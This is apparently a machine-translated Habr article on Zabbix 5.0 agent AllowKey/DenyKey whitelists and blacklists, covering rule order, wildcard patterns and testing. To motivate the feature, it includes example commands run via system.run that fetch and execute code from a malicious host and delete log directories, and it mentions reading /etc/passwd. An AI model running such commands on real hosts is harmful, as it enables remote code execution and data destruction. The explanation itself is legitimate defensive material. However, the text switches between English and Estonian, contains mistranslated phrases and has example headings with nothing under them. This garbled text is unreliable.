Mustade ja valgete nimekirjade toimetamine Zabbix 5.0 agentide metrikate jaoks

Mustuse must-haves and blacklists for agent-side metrics

Tihon Uskov, Integration Engineer, Zabbix

Data Security Issues

Zabbix 5.0 introduced a new feature that enhances security in systems using Zabbix Agent and replaces the old parameter EnableRemoteCommands.

The improvement of security systems using the agent is due to the fact that the agent can perform a large number of potentially dangerous actions.

• The agent can collect almost any information, including confidential or potentially dangerous material, from configuration files, log files, password files, or any other files.

For example, using the zabbix_get utility, one can access the list of users, their home directories, password files, etc.

Accessing data via the zabbix_get utility

MÄRKUS. Data can only be obtained if the agent has read rights to the corresponding file. But, for instance, the file /etc/passwd/ is readable by all users.

• The agent can also execute potentially dangerous commands. For example, the key *system.run[]** allows executing any remote commands on network nodes, including launching scripts from the Zabbix web interface that also execute commands on the agent side.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• In Linux, the agent by default runs without root privileges, whereas in Windows it runs as a service under the System account and has unrestricted access to the file system. Consequently, if no changes are made to the Zabbix Agent settings after installation, the agent has access to the registry, file system, and can execute WMI queries.

In earlier versions, the parameter EnableRemoteCommands=0 only disabled metrics with the key *system.run[]** and script execution from the web interface, but it did not allow for restricting access to individual files, allowing or denying specific keys set with the agent, or limiting the use of specific parameters.

The use of the EnableRemoteCommand parameter in earlier versions of Zabbix

AllowKey/DenyKey

Zabbix 5.0 helps protect against such unauthorized access with whitelists and blacklists for allowing and disallowing agent-side metrics.

In Zabbix 5.0, all keys, including *system.run[]**, are allowed, and two new agent configuration parameters have been added:

AllowKey= — lubatud kontrollid;

DenyKey= — keelatud kontrollid;

kus — võtme nime mustern, kus kasutatakse metasümboleid (*).

Klõpsud AllowKey ja DenyKey võimaldavad lubada või keelata individuaalseid mõõdikuid vastavalt kindlale mustrile. Erinevalt muudest konfiguratsiooni parameetritest ei ole AllowKey/DenyKey parameetrite arv piiratud. See võimaldab selgelt määratleda, mida agent süsteemis teha võib, luues kontrollide puu — täidetud võtmed, kus väga oluline osa on nende kirjutamise järjekord.

Reeglites järjekord

Reeglid kontrollitakse selles järjekorras, nagu need on lisatud konfiguratsioonifaili. Võtme kontrollimine reeglite järgi toimub esimese vaste korral, ja kohe kui andmeelemendi võti vastab mustrile, lubatakse või keelatakse see. Pärast seda peatatakse reeglite kontroll ja ülejäänud võtmed jäetakse tähelepanuta.

Seega, kui element vastab nii lubava kui ka keelava reegli nõuetele, sõltub tulemus sellest, milline reegel on konfiguratsioonifailis esimesena.

2 erinevat reeglit sama mustri ja võtmega vfs.file.size[/tmp/file]

Kasutusjärjestus võtmete AllowKey/DenyKey:

1. täpsed reeglid,
2. üldised reeglid,
3. keelav reegel.

Näiteks, kui vajate juurdepääsu failidele kindlas kaustas, peate kõigepealt lubama ligipääsu neile, seejärel keelama kõik muu, mis ei kuulu seatud lubade alla. Kui esmatähtis on keelav reegel, siis juurdepääs kaustale keelatakse.

Õige järjekord

Kui on vajalik lubada kahe utiliidi käivitamine läbi *system.run[]**, ja esmatähtsaks on märgitud keelav reegel, siis utiliidid ei käivitu, sest esimene muster vastab alati igale võtmele ja järgnevaid reegleid ignoreeritakse.

Vale järjekord

Mustrid

Põhireeglid

Muster — väljend, mis sisaldab asendusmärke (wildcard). Metasümbol (*) vastab mis tahes hulga mis tahes sümbolitele kindlas kohas. Metasümboleid võib kasutada nii võtme nimedesse kui ka parameetritesse. Näiteks saab esimese parameetri kindlalt määrata tekstiga, ja järgmist saab määrata kui wildcard.

Parameetrid peavad olema asetatud nurksulgudesse [].

• system.run[* — vale
• vfs.file*.txt] — vale
• vfs.file.*[*] — õige

Wildcards'i kasutamise näited.

1. Müügivõtme nimes ja parameetris. Antud juhul ei vasta võti sarnasele võtmele, mis ei sisalda parameetrit, kuna mustris oleme määranud, et soovime saada teatud võtme lõppu ja teatud parameetrite kogumi.
2. Kui mustris ei kasutata nurksulgusid, lubab muster kõiki võtmeid, mis ei sisalda parameetreid, ja keelab kõik võtmed, millel on määratud parameeter.
3. Kui võti on täielikult kirjutatud ja parameetrid on määratud wildcards'ina, vastab see igale sarnasele võtmele, millel on igasugused parameetrid, ning ei vasta võtmele ilma nurksulgudeta, st see on lubatud või keelatud.

Parameetrite täitmise reeglid.

• Kui eeldatakse, et võtme kasutamine koos parameetritega, peavad parameetrid olema konfiguratsioonifailis kirjas. Parameetrid tuleb määrata meta-sümbolina. Tuleb ettevaatlikult keelduda juurdepääsust mõnele failile ja arvesse võtta, mida statistikad võivad genereerida erinevate kirjutamisvariatsioonide puhul - koos parameetrite ja ilma nendeta.

Parameetritega võtmete kirjutamise eripära

• Kui võti on määratud parameetritega, kuid parameetrid on valikulised ja määratud meta-sümbolina, siis võtme ilma parameetriteta lubatakse. Näiteks, kui soovite keelata teabe hankimise CPU koormuse kohta ja määrate, et võti system.cpu.load[*] peab olema keeldunud, ärge unustage, et võti ilma parameetriteta tagastab keskmise koormuse väärtuse.

Parameetrite täitmise reeglid

Märkused

Seadistamine

• Mõned reeglid ei saa kasutaja poolt muutuda, näiteks avastamise reeglid (discovery) või agentide automaatregistreerimise reeglid. Reeglid AllowKey/DenyKey ei puuduta järgmisi parameetreid:
  — HostnameItem
  — HostMetadataItem
  — HostInterfaceItem

MÄRKUS. Kui administraator keelab mõne võtme, ei edasta Zabbix päringul teavet selle kohta, miks statistika või võti kuulub kategooriasse ‘NOTSUPPORTED‘. Agentide logifailides ei kuvata ka keelatud kaugjuhtimise tellimuste teavet. See on tehtud turvakaalutlustel, kuid võib muuta tõrkeotsingu keeruliseks, kui statistikad satuvad mõnel põhjusel toetamata kategooriasse..

• Ärge lootke mingile kindlale järjekorrale, kuidas väliseid konfiguratsioonifaile ühendatakse (näiteks tähestikulises järjekorras).

Käskude reaalajas utiliidid

Seadistamine tuleb pärast reeglite seadistamist veenduda, et kõik on õigesti seadistatud.

Saate kasutada ühte kolmest valikust:

• Lisage mõõdik Zabbixisse.
• Testige järgmisel viisil zabbix_agentd. Zabbixi agent valikuga -print (-p) näitab kõiki võtmeid (mis on vaikimisi lubatud), välja arvatud need, mis ei ole konfiguratsioonis lubatud. Valikuga -test (-t) tagab, et keelatud võtme puhul naaseb ‘Unsupported item key‘.
• Testige järgmisel viisil zabbix_get. Utiliit zabbix_get valikuga -k tagastab ‘ZBX_NOTSUPPORTED: Unknown metric‘.

Lubage või keelake

Saate keelata faili juurdepääsu ning veenduda näiteks utiliidi zabbix_get, et faili juurdepääs on keelatud.

**

MÄRKUS. Märkide tsitaatides ignoreeritakse.

Sel juhul võib juurdepääs sellele failile olla lubatud teise tee kaudu. Näiteks, kui sellele suunab sümboolne link.

Soovitame testida erinevaid reeglite kasutamise variatsioone ning arvesse võtta võimalusi keelude ümbersuunamiseks.

Küsimused ja vastused

Küsimus. Miks on reeglite, lubade ja keelude kirjeldamiseks valitud nii keeruline mustriskeem oma keelekeskkonnaga? Miks ei saanud kasutada näiteks regulaaravaldisi, mida Zabbix kasutab?

Vastus. See on regulaaravaldiste jõudluse küsimus, kuna agent on tavaliselt ainus ja see kontrollib tohutut arvu mõõdikuid. Regulaaravaldised on piisavalt ressursimahukas operatsioon ja me ei saa kontrollida tuhandeid mõõdikuid sellisel viisil. Wildcards on universaalne, laialdaselt rakendatav ja lihtne lahendus..

Küsimus. Kas Include-failid ei laeta järjekorras, mis on tähestikulises järjekorras?

Vastus. Nii palju kui mina tean, on reeglite rakendamise järjestuse ettearvamine, kui jagate reeglid erinevatesse failidesse, tegelikult võimatu. Soovitan koguda kõik AllowKey/DenyKey reeglid ühte Include-faili, kuna nad mõjutavad üksteist, ja laadida see fail.

Küsimus. Zabbix 5.0 mugavus 'EnableRemoteCommands=‘konfiguratsioonifailis puudub, ja saadaval on ainult AllowKey/DenyKey?

Vastus. Jah, kõik on õige..

Aitäh tähelepanu eest!

Allikas: habr.com